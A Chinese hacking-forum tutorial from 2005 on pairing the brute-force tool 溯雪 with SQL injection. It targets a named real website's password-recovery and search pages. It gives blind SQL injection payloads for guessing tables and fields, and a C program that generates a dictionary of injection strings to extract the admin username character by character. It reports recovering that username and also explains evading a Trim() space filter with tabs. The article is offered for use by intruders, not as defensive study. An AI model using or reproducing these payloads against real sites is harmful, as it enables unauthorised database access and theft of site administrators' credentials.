通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
溯雪在SQL Injection中的应用
责任编辑:古典辣M°   更新日期:2005-11-1
 

适合读者:脚本入侵爱好者、黑器迷
前置知识:溯雪基本使用方法
脚本小子:溯雪是小榕在2000年10月发布的一个基于WEB的探测器,主要用于对一些网页上的登陆入口进行暴力破解,原来曾经一度是大家破解邮箱的好工具。由于现在网页一般都采取了数字验证码的方法,溯雪便失去了当日的风采。但是当我们将它使用在SQL Injection中时,却会收到已想不到的效果。只能说经典的工具永远经典啊(这句话好象有点饶口令的意味)。

溯雪在SQL Injection中的应用


    看到这个题目相信大家都会觉得很奇特吧?溯雪竟然还没被淘汰,而且和现在最新的脚本攻击又结合到一起?是不是很难让人相信?虽然很难相信,可这毕竟是真的。在这里就不吊大家胃口了,正式开始!

    先介绍一下溯学在SQL Injection中的优势:

◆它是一个免费产品,对穷穷的小菜们来说是最欢迎的。
◆支持Proxy,包括需要身份认证的Proxy,这对隐藏自己是非常有好处的。
◆探测过程更加稳定,不会出现假死现象。
◆Favorites和IE集成,同步更新。

    我们接着来分析它在SQL Injection中应用的可行性。SQL Injection是指注入我们提交的需要查询的作为过滤的变量,从而实现跨表、跨库查询,一般我们是注入提交的表单项实现,这个方法不会在服务器上留下任何日志,安全性很高,尤其在注入文章搜索等变量的时候,有着其它工具所不可超越的优点,因为我们可以自定义注入的内容,这样就有了更多的灵活性,而且网上也没有自动注入站内搜索变量的相关工具。

    鉴于它的使用的灵活性,我先以国内知名的黑客软件下载站:小风居网站(http://www.chinesehack.org)为目标进行注入测试。首先来到这个页面:
http://www.chinesehack.org/member/getpass.asp
这里是会员找回密码的地方,我们输入“'”确定,就会发生Http500服务器内部错误,初步判断这里存在SQL Injection的漏洞。下面就是手工猜解表名和字段名了,由于这里服务器对变量的特殊处理,我们用其它的工具,如NBSI2,WED等都是无法猜解的,即使我们构造提交地址如:http://www.chinesehack.org/member/getpass.asp?usermane=1也是无法成功的,那究竟怎么办呢?
我们先猜解表名,在输入框里输入:
1' or exists(select * from admin) and '1

    当我们得到“密码恢复第二步: 请输入你的密码提示问题答案”的提示的时候,说明存在Admin这个字段,如果我们输入“1' or exists(select * from users) and '1”返回发生Http500服务器内部错误,说明不存在Users这个表。
根据这样的方法,很容易就得到Admin表中的User和Pass这两个字段。

    好了,关键的地方到了,我们现在可以开始猜解帐号和密码了。由于没有现成的工具,我们手工注入,猜解详细帐户密码需要花费很长的时间,我们就使用溯雪来帮我们吧!首先我们需要一个包含注入语句的字典,我们可以用简单的用C语言直接编写一个生成注入语句的程序。程序的源码如下:

#include<stdio.h>
#include<string.h>
#include<conio.h>
main()
{
 FILE *fp;
 char string1[100];
 char string2[100];
 int i,max,min;
 printf("enter inject words:\n");
 gets(string1);
 printf("enter the min number:");
  scanf("%d",&min);
  printf("enter the max number:");
  scanf("%d",&max);
  getchar();
  printf("enter the last word:\n");
  gets(string2);
  fp=fopen("injection.txt","w");
  if(fp==NULL){printf("can not open inject.txt");exit(0);}
 for(i=min;i<=max;i++)
 {
  fprintf(fp,"%s",string1);
  fprintf(fp,"%d",i);
  fprintf(fp,"%s",string2);
  fputc('\n',fp);
 }
 close(fp);
 printf("make successful!\npress any key to exit");getch();
}

我们把它编译连接成可执行文件,先用此工具生成一个注入字典,字典文件为此工具当前目录下生成Inject.txt的内容,如下:

1' or (select top 1 asc(mid(user,1,1)) from Admin)=32 and '1
1' or (select top 1 asc(mid(user,1,1)) from Admin)=33 and '1
1' or (select top 1 asc(mid(user,1,1)) from Admin)=34 and '1
……
1' or (select top 1 asc(mid(user,1,1)) from Admin)=122 and '1

其中ASCii码的范围我们可以自定义。
好了,字典准备好了,我们打开溯雪,进入http://www.chinesehack.org/member/getpass.asp页面,然后提取表单,双击左下方的Username,在弹出的对话框中选取Directory,填上我刚才生成的字典文件Inject.txt,然后确定。选择RUN菜单中的Start,填入:“没有该用户名,请注册新用户!”这个错误标志,然后溯雪就开始运行了(如果不会使用溯雪的朋友可以到http://www.netxeyes.com下载一下详细的使用帮助)。

    很快我们就得到用户名的第一个字符ASCii码为108,也就是l,这样用户名第一个字符我们就这样得到了,比手工可快多了吧!同理,我们可以得到剩下的字符,我得到的是lilitou,大家可以参考一下自己猜出来的结果是不是一样的。接着就是对密码的破解了,原理一样,由于他的密码是MD5加密的,我没有继续破下去,大家得到也没有多大的用处,我这里只是说明这个方法而已。
下面我说一下对站内搜索变量的注入方法,首先在查询框中输入“'”,提交看有没有注入漏洞,一般发生服务器内部错误或者数据库包错等都表明存在注入漏洞。我们这样构造注入语句,先输入常用的字符让它查询到一些信息,比如输入1,然后开始注入:
1%' and exists(select * from admin) and '%1
返回刚才查询到的信息表明存在此表,同理:
1%' and exists(select username from admin) and '%1
猜解字段,剩下的工作交给溯雪摆平。其实溯雪强大的功能在于它对返回信息的判断,它可以通过判断返回的HTTP状态码如200,500,404等进行区别,而且能够解决一些其它软件根本无法注入的变量,如Tpye="hidden"的变量,更重要的是我们有着更大的灵活性去构造注入语句。

    另外我们可以使用溯雪来注入通过Trim()函数过滤空格的变量,方法是生成字典时用TAB键来代替空格,或者将生成的字典用UltraEdit打开选Hex编辑,查找20替换成0A(ascii码为10代表tab),用这个字典即可成功注入(我在网上Down的动力文章Access版本v3.5好象只是过滤掉了空格)。

    溯雪其实还有许多其它的用法,不愧是经典黑软,长盛不衰,大家发挥想象力去开发它的其它功能吧!

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题